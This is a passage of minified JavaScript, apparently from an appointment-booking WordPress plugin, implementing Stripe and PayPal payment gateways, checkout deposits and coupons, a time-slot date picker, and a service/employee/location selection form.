this.elements.create(\"payment\",{defaultValues:{billingDetails:{address:{country:this.settings.country}}},fields:{billingDetails:{name:e?.name?\"never\":\"auto\",email:e?.email?\"never\":\"auto\",phone:e?.phone?\"never\":\"auto\",address:{line1:\"auto\",line2:\"auto\",city:\"auto\",state:\"auto\",country:\"auto\",postalCode:\"auto\"}}}})}}class Le extends Fe{setupProperties(){this.name=\"card\",this.title=u(\"Card\",\"motopress-appointment\"),this.paymentRequestButtonEvent=null,this.canMakePaymentRequest=Promise.resolve(null),this.isEnabledWallets()&&(this.paymentRequest=this.createPaymentRequest(),this.canMakePaymentRequest=this.paymentRequest.canMakePayment())}createPaymentRequest(){return this.paymentRequest?this.paymentRequest:this.api.paymentRequest({country:this.settings.country,currency:m().settings().getCurrency().toLowerCase(),total:{label:u(\"Total\",\"motopress-appointment\"),amount:0,pending:!0},requestPayerName:!1,requestPayerEmail:!1,requestPayerPhone:!1,requestShipping:!1,disableWallets:this.getDisabledWallets()})}isCanMakePaymentRequest(){return this.canMakePaymentRequest}getPossibleWallets(){return[\"apple_pay\",\"google_pay\",\"link\"]}isEnabledWallets(){let e=!1;return this.getPossibleWallets().forEach((t=>{this.settings.payment_methods.includes(t)&&(e=!0)})),e}getDisabledWallets(){let e=[];return this.getPossibleWallets().forEach((t=>{if(!this.settings.payment_methods.includes(t)){const s=t.toLowerCase().replace(\u002F([-_][a-z])\u002Fg,(e=>e.toUpperCase().replace(\"-\",\"\").replace(\"_\",\"\")));e.push(s)}})),e}createPaymentRequestButton(){return this.elements.create(\"paymentRequestButton\",{paymentRequest:this.paymentRequest,style:{paymentRequestButton:{height:\"50px\"}}})}processPaymentRequestButton(e){this.paymentRequestButtonEvent=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}proccessPaymentRequestButtonHandler(e,t){const s=e.getCustomer();return this.api.createPaymentMethod({type:\"card\",card:{token:this.paymentRequestButtonEvent.token.id},billing_details:{name:s.name,email:s.email,phone:s.phone}}).then((t=>{if(t.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),new Error(t.error.message);return c(\"\u002Fpayments\u002Fprepare\",{payment_details:jQuery.extend(e.paymentDetails,{payment_method_id:t.paymentMethod.id})})})).then((({client_secret:e})=>this.confirmPayment(e).then((e=>{if(e.error)throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,new Error(e.error.message);return e.paymentIntent})))).then((e=>{let t={payment_method:this.name,payment_intent_id:e.id};return this.paymentRequestButtonEvent.complete(\"success\"),this.paymentRequestButtonEvent=null,t})).catch((e=>{throw this.paymentRequestButtonEvent.complete(\"fail\"),this.paymentRequestButtonEvent=null,console.error(\"Unable to process payment.\",e.message),null!=t.error_handler&&t.error_handler(e.message),e}))}confirmPayment(e){return this.api.confirmCardPayment(e)}processPayment(e,t,s){return this.paymentRequestButtonEvent?this.proccessPaymentRequestButtonHandler(e,s):super.processPayment(e,t,s)}createControl(){return this.elements.create(this.name,{style:this.settings.style,hidePostalCode:this.settings.hide_postal_code})}}class Re extends Fe{setupProperties(){this.name=\"sepa_debit\",this.title=u(\"SEPA Direct Debit\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSepaDebitPayment(e)}createControl(){return this.elements.create(\"iban\",{style:this.settings.style,supportedCountries:[\"SEPA\"]})}}class Oe extends Fe{setupProperties(){this.name=\"bancontact\",this.title=u(\"Bancontact\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmBancontactPayment(e,{return_url:t},{handleActions:!1})}}class Ne extends Fe{setupProperties(){this.name=\"ideal\",this.title=u(\"iDEAL\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmIdealPayment(e,{return_url:t},{handleActions:!1})}createControl(){return this.elements.create(\"idealBank\",{style:this.settings.style})}}class Ve extends Fe{setupProperties(){this.name=\"giropay\",this.title=u(\"Giropay\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmGiropayPayment(e,{return_url:t},{handleActions:!1})}}class qe extends Fe{setupProperties(){this.name=\"sofort\",this.title=u(\"SOFORT\",\"motopress-appointment\")}confirmPayment(e,t){return this.api.confirmSofortPayment(e,{return_url:t},{handleActions:!1})}createPaymentMethodData(e,t,s){let i=super.createPaymentMethodData(e,t,s);return i.sofort={country:this.settings.country},i}}class Ue extends xe{setupProperties(){super.setupProperties(),this.$gatewayPreloader=null,this.gatewayId=\"stripe\",this.methods=null,this.view=null}constructor(e,t){super(e,t),this.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\")}isValidAcceptTerms(){if(!m().settings().getTermsPageIdForAcceptance())return!0;const e=this.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];return!!e.checkValidity()||(e.reportValidity(),!1)}convertToSmallestUnit(e,t){switch(t||(t=m().settings().getCurrency()),t.toUpperCase()){case\"BIF\":case\"CLP\":case\"DJF\":case\"GNF\":case\"JPY\":case\"KMF\":case\"KRW\":case\"MGA\":case\"PYG\":case\"RWF\":case\"UGX\":case\"VND\":case\"VUV\":case\"XAF\":case\"XOF\":case\"XPF\":e=Math.floor(e);break;default:e=Math.round(100*e)}return e}getFormattedTotalPrice(){const e=this.cart.getOrder();let t=parseFloat(e.total);return this.cart.paymentDetails.deposit&&(t=parseFloat(e.deposit)),this.convertToSmallestUnit(t,m().settings().getCurrency().toLowerCase())}onClickPaymentRequestButton(e){this.isValidAcceptTerms()?this.methods.card.paymentRequest.update({total:{amount:this.getFormattedTotalPrice(),label:u(\"Total\",\"motopress-appointment\"),pending:!1}}):e.preventDefault()}onChange(e){this.haveErrors=!!e.error,this.haveErrors?this.view.showError(e.error.message):this.view.hideErrors()}onCartChange(e){this.isMounted&&0\u003Cthis.getFormattedTotalPrice()&&0===Object.keys(this.methods).length&&(this.$mountWrapper.empty(),this.mount(this.$mountWrapper))}mount(e){this.ready().then((()=>{this.methods=[],0\u003Cthis.getFormattedTotalPrice()&&(this.methods=this.createPaymentMethods()),this.view=new Me(this.methods),this.view.mount(e),this.addListeners()}))}processPayment(e,t){if(!this.isValid())return Promise.reject(new Error(\"The payment gateway is not valid.\"));this.$gatewayPreloader.removeClass(\"mpa-hide\");let s=this.view.selectedMethod,i=jQuery.extend({payment_method:s},this.settings,t),a={error_handler:this.view.showError.bind(this.view)};return this.methods[s].processPayment(e,i,a).then((e=>(this.$gatewayPreloader.addClass(\"mpa-hide\"),e)),(e=>{throw this.$gatewayPreloader.addClass(\"mpa-hide\"),e}))}getDefaults(){return jQuery.extend(super.getDefaults(),{hide_postal_code:!0,locale:\"auto\",payment_methods:[],public_key:\"\",style:{}})}createPaymentMethods(){let e=[];const t=Stripe(this.settings.public_key,{apiVersion:\"2023-10-16\"}),s=t.elements({mode:\"payment\",locale:this.settings.locale,currency:m().settings().getCurrency().toLowerCase(),amount:this.getFormattedTotalPrice(),payment_method_configuration:this.settings.payment_method_configuration});return this.settings.payment_methods.forEach((i=>{switch(i){case\"payment\":e.payment=new Be(t,s,this.settings),e.payment.provideCart(this.cart);break;case\"card\":e.card=new Le(t,s,this.settings),e.card.getControl().on(\"change\",this.onChange.bind(this)),e.card.isCanMakePaymentRequest().then((t=>{t&&(e.card.paymentRequest.on(\"token\",(async t=>e.card.processPaymentRequestButton(t))),e.card.paymentRequest.on(\"cancel\",(()=>{e.card.paymentRequestButtonEvent=null})),e.card.paymentRequestButton=e.card.createPaymentRequestButton(),e.card.paymentRequestButton.on(\"click\",this.onClickPaymentRequestButton.bind(this)))}));break;case\"sepa_debit\":e.sepa_debit=new Re(t,s,this.settings),e.sepa_debit.getControl().on(\"change\",this.onChange.bind(this));break;case\"bancontact\":e.bancontact=new Oe(t,s,this.settings);break;case\"ideal\":e.ideal=new Ne(t,s,this.settings);break;case\"giropay\":e.giropay=new Ve(t,s,this.settings);break;case\"sofort\":e.sofort=new qe(t,s,this.settings)}})),e}reset(){this.methods&&Object.entries(this.methods).forEach((([e,t])=>{t.reset()})),this.view&&this.view.reset()}}class He extends xe{setupProperties(){super.setupProperties(),this.gatewayId=\"paypal\"}enable(){super.enable(),this.isEnabled&&this.cart.getTotalPrice()>0&&this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").hide()}disable(){super.disable(),this.isEnabled||this.$mountWrapper.closest(\"form\").find(\".mpa-button-next\").show()}mount(e){let t=this;t.$errorWrapper=e.find(\".mpa-paypal-error\"),t.$gatewayPreloader=e.parent().find(\".mpa-payment-gateway-title .mpa-preloader\"),paypal.Buttons({onInit(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||s.disable(),e.addEventListener(\"change\",(e=>{e.target.checked?s.enable():s.disable()}))}},onClick:function(e,s){if(m().settings().getTermsPageIdForAcceptance()){const e=t.$mountWrapper.closest(\"form\").find(\".mpa-accept-terms\")[0];e.checkValidity()||e.reportValidity()}0===t.cart.getTotalPrice()&&(t.paypalDetails={},jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\"))},createOrder:function(e,s){return t.$errorWrapper.addClass(\"mpa-hide\"),t.$gatewayPreloader.removeClass(\"mpa-hide\"),c(\"\u002Fpayments\u002Fprepare\",{payment_details:t.cart.paymentDetails}).then((e=>(t.$gatewayPreloader.addClass(\"mpa-hide\"),e)))},onApprove:function(e,s){return s.order.capture().then((function(e){t.paypalDetails=e,jQuery(\".mpa-booking-step-payment .mpa-actions .mpa-button-next\").trigger(\"click\")}))},onCancel:function(e){},onError:function(e){console.log(e),t.$errorWrapper.text(t.settings.paypal_error_message),t.$errorWrapper.removeClass(\"mpa-hide\")}}).render(e.find(\".mpa-paypal-container\")[0])}processPayment(e,t){return Promise.resolve({paypalDetails:this.paypalDetails})}}class je{static createGateways(e,t){let s={};for(let i of m().settings().getActiveGateways()){let a=e.find(\".mpa-\"+i+\"-payment-gateway .mpa-billing-fields\"),r=0!==a.length?je.createGateway(i,a,t):null;null!==r&&(s[i]=r)}return s.free=new Ae({},t),s}static createGateway(e,t,s){switch(e){case\"manual\":case\"test\":case\"cash\":case\"bank\":return new Ee(t,s);case\"paypal\":return new He(t,s);case\"stripe\":return new Ue(t,s);default:return wp.hooks.applyFilters(\"mpa_create_gateway\",null,e,t,s)}}}class We extends pe{setupProperties(){super.setupProperties(),this.lastCartHash=\"\",this.gatewayId=\"\",this.gateways={},this.bookingDetails={},this.$form=this.$element.find(\".mpa-checkout-form\"),this.$order=this.$element.find(\".mpa-order\"),this.$billingSection=this.$element.find(\".mpa-billing-details\"),this.$paymentGateways=this.$billingSection.find(\".mpa-payment-gateway\"),this.$paymentGatewayButtons=this.$paymentGateways.find('input[name=\"payment_gateway_id\"]'),this.$message=this.$element.find(\".mpa-message\").first(),this.acceptTerms=!1,this.onlinePayment=!1,this.isDepositDisabled=!1,this.$deposit=this.$element.find(\".mpa-deposit-section\"),this.$depositSwitcher=this.$element.find('input[name=\"mpa-deposit-switcher\"]'),this.$depositTable=this.$element.find(\"#mpa-deposit-table\"),m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms=this.$element.find(\".mpa-accept-terms\")),this.couponSection=null}theId(){return\"payment\"}propertiesSchema(){return{gatewayId:{type:\"string\",default:\"\"},isDepositDisabled:{type:\"bool\",default:!1},acceptTerms:{type:\"bool\",default:!1}}}setErrorMessage(e){this.$message.html(e),this.$message.toggleClass(\"mpa-hide\",!e.trim().length)}clearErrorMessage(){this.setErrorMessage(\"\")}hideDeposit(){this.$deposit.addClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!0),this.isDepositDisabled=!0}showDeposit(){this.$deposit.removeClass(\"mpa-hide\"),this.$depositSwitcher.prop(\"disabled\",!1),this.setProperty(\"isDepositDisabled\",this.$depositSwitcher.prop(\"checked\"))}toggleDepositSection(){const e=this.cart.getOrder();parseFloat(e.total)-parseFloat(e.deposit)&&this.onlinePayment?this.showDeposit():this.hideDeposit()}setGatewayId(e,t){this.setProperty(\"gatewayId\",e),this.onlinePayment=parseInt(t),this.toggleDepositSection(),this.cart.setPaymentDetails({gateway_id:this.gatewayId,deposit:!this.isDepositDisabled})}addListeners(){super.addListeners(),this.$form.on(\"submit\",(e=>!1)),this.$paymentGatewayButtons.on(\"change\",(e=>{this.setGatewayId(e.target.value,e.target.dataset.isOnlinePayment)})),m().settings().getTermsPageIdForAcceptance()&&this.$acceptTerms.on(\"input\",(e=>this.setProperty(\"acceptTerms\",e.target.checked))),this.$depositSwitcher.length>0&&this.$depositSwitcher.on(\"input\",(e=>{this.$depositTable.toggleClass(\"mpa-hide\",e.target.checked),this.setProperty(\"isDepositDisabled\",e.target.checked),this.cart.setPaymentDetails({deposit:!this.isDepositDisabled})})),this.$element.on(\"mpa_booking_step_disable\",this.disable.bind(this)),this.$element.on(\"mpa_booking_step_enable\",this.enable.bind(this)),this.$element.on(\"mpa_booking_coupon_applied\",(()=>{this.notifyCartChanged(),this.updateOrderDetails(),this.cart.setPaymentDetails({coupon_code:this.cart.hasCoupon()?this.cart.coupon.getCode():\"\"})}))}loadEntities(){this.isLoaded||this.$element.removeClass(\"mpa-hide\"),this.lastCartHash=this.cart.getHash(\"order\"),m().settings().isCouponsEnabled()&&(this.couponSection=new Te(this.$element.find(\".mpa-coupon-details\"),this.cart)),this.updateOrderDetails();let e=[];return\"free\"!==this.gatewayId?e.push(this.loadGateways()):this.loadGateways(),e.push(this.loadDrafts()),Promise.all(e).then((()=>(this.initDefaultGateway(),this)))}reload(){return this.clearErrorMessage(),this.cart.hasCoupon()&&this.cart.testCoupon(),this.couponSection&&(this.cart.hasCoupon()?this.couponSection.clearMessage():this.couponSection.reset()),this.updateOrderDetails(),this.cart.didChange(this.lastCartHash,\"order\")?(this.lastCartHash=this.cart.getHash(\"order\"),this.notifyCartChanged(),this.loadDrafts()):wp.hooks.applyFilters(\"mpa_booking_reload_drafts\",!1)?this.loadDrafts():Promise.resolve(this)}reset(){m().settings().getTermsPageIdForAcceptance()&&(this.$acceptTerms.prop(\"checked\",!1),this.resetProperty(\"acceptTerms\")),this.lastCartHash=\"\";let e=m().settings().getDefaultPaymentGateway();this.$paymentGatewayButtons.filter(\":checked\").prop(\"checked\",!1),e in this.gateways?(this.setProperty(\"gatewayId\",e),this.$paymentGatewayButtons.filter('[value=\"'+e+'\"]').prop(\"checked\",!0)):this.resetProperty(\"gatewayId\");for(let e in this.gateways)this.gateways[e].reset();this.couponSection&&this.couponSection.reset()}notifyCartChanged(){for(let e in this.gateways)this.gateways[e].onCartChange(this.cart)}updateOrderDetails(){if(this.$order.empty(),this.$order.html(be(this.cart.getOrder())),this.$depositTable.length>0){const e=function(e){const t=parseFloat(e.total)-parseFloat(e.deposit);let s=\"\";return t>0&&(s+='\u003Ctable class=\"widefat\">',s+=\"\u003Ctbody>\",s+='\u003Ctr class=\"mpa-deposit-title\">',s+='\u003Ctd class=\"column-title\" colspan=\"2\">',s+=u(\"Deposit\",\"motopress-appointment\"),s+=\"\u003C\u002Ftd>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-now\">',s+='\u003Cth class=\"column-title\">',s+=u(\"Paying now\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Se(e.deposit),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+='\u003Ctr class=\"mpa-deposit-left\">',s+='\u003Cth class=\"column-title\">',s+=u(\"Left to pay\",\"motopress-appointment\"),s+=\"\u003C\u002Fth>\",s+='\u003Cth class=\"column-price\">',s+=Se(t),s+=\"\u003C\u002Fth>\",s+=\"\u003C\u002Ftr>\",s+=\"\u003C\u002Ftbody>\",s+=\"\u003C\u002Ftable>\"),s}(this.cart.getOrder());this.$depositTable.html(e),this.$paymentGatewayButtons.filter(\":checked\").length>0&&this.toggleDepositSection()}let e=this.$order.find(\".mpa-remove-coupon\");e.length>0&&e.on(\"click\",this.removeCoupon.bind(this)),this.toggleAvailablePaymentMethods()}removeCoupon(e){e.preventDefault(),e.stopPropagation(),this.cart.removeCoupon(),this.couponSection.clearMessage(),this.cart.setPaymentDetails({coupon_code:\"\"}),this.notifyCartChanged(),this.updateOrderDetails(),this.couponSection.reset()}toggleAvailablePaymentMethods(){const e=0===this.cart.getTotalPrice();if(e)this.setGatewayId(\"free\",!1);else{const e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.setGatewayId(e[0].value,e[0].dataset.isOnlinePayment)}this.$billingSection.toggleClass(\"mpa-hide\",e),this.$paymentGatewayButtons.prop(\"required\",!e)}loadGateways(){let e=this.$billingSection.find(\".mpa-payment-gateways\");this.gateways=je.createGateways(e,this.cart);let t=[];for(let e in this.gateways)t.push(this.gateways[e].load());return t}loadDrafts(){const e={...this.cart.toArray(),payment:!0};return c(\"\u002Fbookings\u002Fdraft\",{...wp.hooks.applyFilters(\"mpa_booking_draft_data\",e),nonce:mpaData.nonces.mpa_create_drafts}).then((e=>{this.bookingDetails={booking_id:e.booking_id,payment_id:e.payment_id};const t={booking_id:e.booking_id,payment_id:e.payment_id};this.cart.setPaymentDetails(t),this.cart.setBookingNonce(e.booking_nonce)}),(e=>{this.setErrorMessage(e.message)})).then((()=>(this.enableGateways(),this)))}enableGateways(){this.$paymentGatewayButtons.prop(\"disabled\",!1)}initDefaultGateway(){let e=this.$paymentGatewayButtons.filter(\":checked\");e.length>0&&this.gateways[e.val()].enable()}isValidInput(){return this.isValidGatewayId()&&this.isValidGateway()&&this.isValidAcceptTerms()}isValidGatewayId(){return\"\"!==this.gatewayId}isValidGateway(){return!(this.gatewayId in this.gateways)||this.gateways[this.gatewayId].isValid()}isValidAcceptTerms(){return!m().settings().getTermsPageIdForAcceptance()||this.acceptTerms}afterUpdate(e,t,s){s in this.gateways&&this.gateways[s].disable(),t in this.gateways&&this.gateways[t].enable()}react(){super.react(),this.$buttonNext.prop(\"disabled\",!1)}maybeSubmit(){if(this.couponSection&&this.couponSection.disable(),this.gatewayId in this.gateways){let e=this.gateways[this.gatewayId].processPayment(this.cart,this.bookingDetails);return\"object\"==typeof e&&\"function\"==typeof e.then&&e.then((e=>(this.cart.setPaymentDetails(e),e)),(e=>{this.setErrorMessage(e.message)})),e}}cancelSubmission(){super.cancelSubmission(),this.couponSection&&this.couponSection.enable()}}class Ge extends pe{setupProperties(){super.setupProperties(),this.cartItem=null,this.lastHash=\"\",this.monthSlots={},this.date=\"\",this.time=\"\",this.datepicker=null,this.$dateWrapper=this.$element.find(\".mpa-date-wrapper\"),this.$dateInput=this.$element.find(\".mpa-date\"),this.$timeWrapper=this.$element.find(\".mpa-time-wrapper\"),this.$times=this.$timeWrapper.find(\".mpa-times\"),this.lookedAheadMonths=0,this.maxLookAheadMonths=12,this.isSelectedFirstAvailableSlot=!1,this.availabilityService=null}setAvailabilityService(e){this.availabilityService=e}theId(){return\"period\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{date:{type:\"string\",default:\"\"},time:{type:\"string\",default:\"\"}}}addListeners(){super.addListeners(),this.$dateInput.on(\"change\",(e=>this.setProperty(\"date\",e.target.value)))}loadEntities(){return this.cartItem=this.cart.getActiveItem(),this.lastHash=this.cartItem.getHash(\"availability\"),Promise.resolve(this)}reload(){return this.cartItem.didChange(this.lastHash,\"availability\")?(this.$element.removeClass(\"mpa-loaded\"),this.resetDate(),this.readyPromise=this.loadEntities(),this.monthSlots={},null!=this.datepicker&&(this.setEnabledDays([]),this.readyPromise.finally((()=>this.resetEnabledDays()))),this.readyPromise):Promise.resolve(this)}reset(){this.cartItem=this.cart.getActiveItem(),this.lastHash=\"\",this.monthSlots={},this.resetDate()}isValidInput(){return\"\"!=this.date&&\"\"!=this.time}resetDate(){this.resetProperty(\"date\")}resetTime(){this.$times.empty(),this.resetProperty(\"time\")}setEnabledDays(e){F(e,!0)?this.datepicker.set(\"enable\",[\"2000-01-01\"]):this.datepicker.set(\"enable\",e)}afterUpdate(e,t,s){\"date\"==e&&(\"\"==t?this.resetTime():this.resetTimeSlots())}react(){super.react(),this.$timeWrapper.toggleClass(\"mpa-hide\",\"\"==this.date)}showReady(){super.showReady(),null==this.datepicker&&(this.showDatepicker(),this.resetEnabledDays())}showDatepicker(){this.datepicker=function(e,t){let s=t.locale||m().settings().getFlatpickrLocale(),i=flatpickr.l10ns[s]||s;\"object\"==typeof i&&(i.firstDayOfWeek=m().settings().getFirstDayOfWeek());let a={formatDate:f,inline:!0,locale:i,monthSelectorType:\"static\",showMonths:1};t=jQuery.extend({},a,t);let r=null;return r=e instanceof jQuery?flatpickr(e[0],t):flatpickr(e,t),r}(this.$dateInput,this.getDatepickerArgs())}getDatepickerArgs(){return{minDate:m().settings().getBusinessDate(),onMonthChange:()=>this.resetEnabledDays()}}maybeSubmit(){let e=this.cartItem;if(e.date=b(this.date),e.time=new Y(this.time),e.date&&e.time&&e.time.setDate(e.date),null===e.employee||null===e.location){let t=this.autoselectIds(),s=t[0],i=t[1];null===e.employee&&e.setEmployee(s,!1),null===e.location&&e.setLocation(i,!1)}let t=this.getCurrentMonthKey();this.cartItem.setBookingVariants(this.monthSlots[t][this.date][this.time]),document.dispatchEvent(new CustomEvent(\"mpa_add_to_cart\",{detail:{cartItem:e,currencyCode:m().settings().getCurrency()}})),document.dispatchEvent(new CustomEvent(\"mpa_view_cart\",{detail:{cart:this.cart,currencyCode:m().settings().getCurrency()}}))}selectFirstDateTimeSlot(){let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t);const i=this.monthSlots[s];if(i&&Object.keys(i).length>0){const e=Object.keys(i)[0],t=Object.keys(i[e])[0];this.datepicker.setDate(e,!0);this.$times.children(\".mpa-time-period\").filter(((e,s)=>s.getAttribute(\"date-time\")===t)).trigger(\"click\"),this.isSelectedFirstAvailableSlot=!0}else{if(!0===this.isSelectedFirstAvailableSlot)return;if(this.lookedAheadMonths>=this.maxLookAheadMonths)return this.datepicker.changeMonth(-this.lookedAheadMonths),void(this.isSelectedFirstAvailableSlot=!0);this.lookedAheadMonths+=1,this.datepicker.changeMonth(1),this.reload()}}autoselectIds(){let e=[0,0],t=this.getCurrentMonthKey();if(this.monthSlots[t]&&this.monthSlots[t][this.date]){let s=this.monthSlots[t][this.date];for(let t in s)if(t===this.time){let i=s[t];e[0]=i[0][0],e[1]=i[0][1];break}}return e}waitForServiceToLoad(){let e=this.availabilityService.getServicePromise();return null!==e?e:Promise.resolve(this.cartItem.getService())}resetEnabledDays(){this.resetDate(),this.setEnabledDays([]),this.$dateWrapper.removeClass(\"mpa-loaded\");let e=this.datepicker.currentYear,t=this.datepicker.currentMonth,s=this.getMonthKey(e,t),i=null;if(this.monthSlots[s])i=Promise.resolve(this.monthSlots[s]);else{i=function(e,t,s,i){return h(\"\u002Fcalendar\u002Ftime\",{service_id:e,employee_in:i.employee_in?i.employee_in.join(\",\"):\"\",location_in:i.location_in?i.location_in.join(\",\"):\"\",date_from:f(t,\"internal\"),date_to:f(s,\"internal\"),exclude_cart:i.exclude_cart?i.exclude_cart:[]}).catch((e=>console.error(\"Failed to make time slots in mpa_time_slots().\",e.message)||{}))}(this.cartItem.service.id,new Date(e,t,1),new Date(e,t+1,1),this.getTimeSlotsQueryArgs())}Promise.all([i,this.waitForServiceToLoad()]).then((e=>{let t=e[0];this.monthSlots[s]=t,this.setEnabledDays(Object.keys(t)),this.$dateWrapper.addClass(\"mpa-loaded\"),this.selectFirstDateTimeSlot()}))}getTimeSlotsQueryArgs(){let e=this.cartItem.getEmployeeId(),t=this.cartItem.getLocationId();return{employee_in:e?[e]:this.cartItem.getAvailableEmployeeIds(),location_in:t?[t]:this.cartItem.getAvailableLocationIds(),exclude_cart:this.cart.toArray(\"items\")}}resetTimeSlots(){this.resetTime();let e={},t=this.getCurrentMonthKey();null!=this.monthSlots[t][this.date]&&(e=this.monthSlots[t][this.date]);let s=0;for(let t in e){let i=new Y(t).toString(\"public\",'\u003Cspan class=\"mpa-period-end-time\"> - ')+\"\u003C\u002Fspan>\",a=this.cartItem.getService();if(a.isGroupService()){let s=a.getMinCapacity();for(let i of e[t])s=Math.max(s,i[3]);i+=\" \",i+='\u003Cspan class=\"mpa-slot-capacity\">',i+='\u003Cspan class=\"mpa-slot-capacity-label\">'+a.getQuantityLabel()+\":\u003C\u002Fspan>\",i+=\"&nbsp;\",i+='\u003Cspan class=\"mpa-slot-capacity-number\">'+s+\"\u003C\u002Fspan>\",i+=\"\u003C\u002Fspan>\"}let r=ye(i,{class:\"button button-secondary mpa-time-period\",\"date-time\":t});this.$times.append(r),s++}s>0?this.$times.children(\".mpa-time-period\").on(\"click\",(e=>this.onTime(e,e.currentTarget))):this.$times.text(u(\"Sorry, but we were unable to allocate time slots for the date you selected.\",\"motopress-appointment\"))}getMonthKey(e,t){return t\u003C=8?e+\"-0\"+(t+1):e+\"-\"+(t+1)}getCurrentMonthKey(){if(\"\"!==this.date){let e=b(this.date);return this.getMonthKey(e.getFullYear(),e.getMonth())}return\"2000-01\"}onTime(e,t){this.$times.children(\".mpa-time-period-selected\").removeClass(\"mpa-time-period-selected\"),t.classList.add(\"mpa-time-period-selected\"),this.setProperty(\"time\",t.getAttribute(\"date-time\"))}}class ze extends pe{setupProperties(){super.setupProperties(),this.availabilityService=null,this.category=\"\",this.serviceId=0,this.employeeId=0,this.locationId=0,this.isHiddenStep=!0,this.$form=this.$element.find(\".mpa-service-form\"),this.$categories=this.$element.find(\".mpa-service-category-wrapper\"),this.$services=this.$element.find(\".mpa-service-wrapper\"),this.$employees=this.$element.find(\".mpa-employee-wrapper\"),this.$locations=this.$element.find(\".mpa-location-wrapper\"),this.$selects=this.$element.find(\".mpa-input-wrapper select\"),this.$categoriesSelect=this.$selects.filter(\".mpa-service-category\"),this.$servicesSelect=this.$selects.filter(\".mpa-service\"),this.$employeesSelect=this.$selects.filter(\".mpa-employee\"),this.$locationsSelect=this.$selects.filter(\".mpa-location\"),this.unselectedServiceText=this.$servicesSelect.children('[value=\"\"]').text(),this.unselectedOptionText=this.$selects.filter(\".mpa-optional-select\").first().find(\"option:first\").text()}setAvailabilityService(e){this.availabilityService=e}theId(){return\"service-form\"}getCartContext(){return\"cart item\"}propertiesSchema(){return{category:{type:\"string\",default:\"\"},serviceId:{type:\"integer\",default:0},employeeId:{type:\"integer\",default:0},locationId:{type:\"integer\",default:0}}}addListeners(){super.addListeners(),this.$form.on(\"submit\",this.submitForm.bind(this)),this.$categoriesSelect.on(\"change\",(e=>this.setProperty(\"category\",e.target.value))),this.$servicesSelect.on(\"change\",(e=>this.setProperty(\"serviceId\",e.target.value))),this.$employeesSelect.on(\"change\",(e=>this.setProperty(\"employeeId\",e.target.value))),this.$locationsSelect.on(\"change\",(e=>this.setProperty(\"locationId\",e.target.value)))}isHiddenElementByProp(e){const t=e.attr(\"data-is-hidden\");return void 0!==t&&\"false\"!==t}initCategoriesSelect(){if(0==this.$categoriesSelect.length)return;this.updateCategorySchema();let e=this.$categoriesSelect.val(),t=this.isHiddenElementByProp(this.$categoriesSelect);if(this.$categoriesSelect.attr(\"data-default\")){const s=this.$categoriesSelect.attr(\"data-default\");this.isValidCategoryBySchema(s)?e=s:t=!1}this.setProperty(\"category\",e),this.renderCategorySelect(),t||(this.isHiddenStep=!1),this.$categories.toggleClass(\"mpa-hide\",t)}initServicesSelect(){if(0==this.$servicesSelect.length)return;this.updateServiceSchema();let e=this.$servicesSelect.val(),t=this.isHiddenElementByProp(this.$servicesSelect);if(this.$servicesSelect.attr(\"data-default\")){const s=j(this.$servicesSelect.attr(\"data-default\"));this.isValidServiceBySchema(s)?e=s:t=!1}this.setProperty(\"serviceId\",e),this.renderServiceSelect(),t||(this.isHiddenStep=!1),this.$services.toggleClass(\"mpa-hide\",t)}initEmployeesSelect(){if(0==this.$employeesSelect.length)return;this.updateEmployeeSchema();let e=this.$employeesSelect.val(),t=this.isHiddenElementByProp(this.$employeesSelect);if(this.$employeesSelect.attr(\"data-default\")){const s=j(this.$employeesSelect.attr(\"data-default\"));this.isValidEmployeeBySchema(s)?e=s:t=!1}this.setProperty(\"employeeId\",e),this.renderEmployeeSelect(),t||(this.isHiddenStep=!1),this.$employees.toggleClass(\"mpa-hide\",t)}initLocationsSelect(){if(0==this.$locationsSelect.length)return;this.updateLocationSchema();let e=this.$locationsSelect.val(),t=this.isHiddenElementByProp(this.$locationsSelect);if(this.$locationsSelect.attr(\"data-default\")){const s=j(this.$locationsSelect.attr(\"data-default\"));this.isValidLocationBySchema(s)?e=s:t=!1}this.setProperty(\"locationId\",e),this.renderLocationSelect(),t||(this.isHiddenStep=!1),this.$locations.toggleClass(\"mpa-hide\",t)}loadEntities(){return this.availabilityService.ready().finally((()=>(this.initServicesSelect(),this.initCategoriesSelect(),this.initEmployeesSelect(),this.initLocationsSelect(),this)))}reset(){let e={category:this.$categoriesSelect,serviceId:this.$servicesSelect,employeeId:this.$employeesSelect,locationId:this.$locationsSelect};this.preventReact=!0;for(let t in e){let s=e[t].attr(\"data-default\");s?this.setProperty(t,s):this.resetProperty(t)}this.preventReact=!1,this.isActive&&this.react()}isValidInput(){return 0!=this.serviceId}updateCategorySchema(){const e=this.availabilityService.getAvailableServiceCategories();this.schema.category.options=Object.keys(e)}updateServiceSchema(){const e=this.availabilityService.getAvailableServices(this.category,this.locationId,this.employeeId);this.schema.serviceId.options=Object.keys(e).map(j)}updateEmployeeSchema(){const e=this.availabilityService.getAvailableEmployees(this.serviceId,this.locationId);this.schema.employeeId.options=Object.keys(e).map(j)}updateLocationSchema(){const 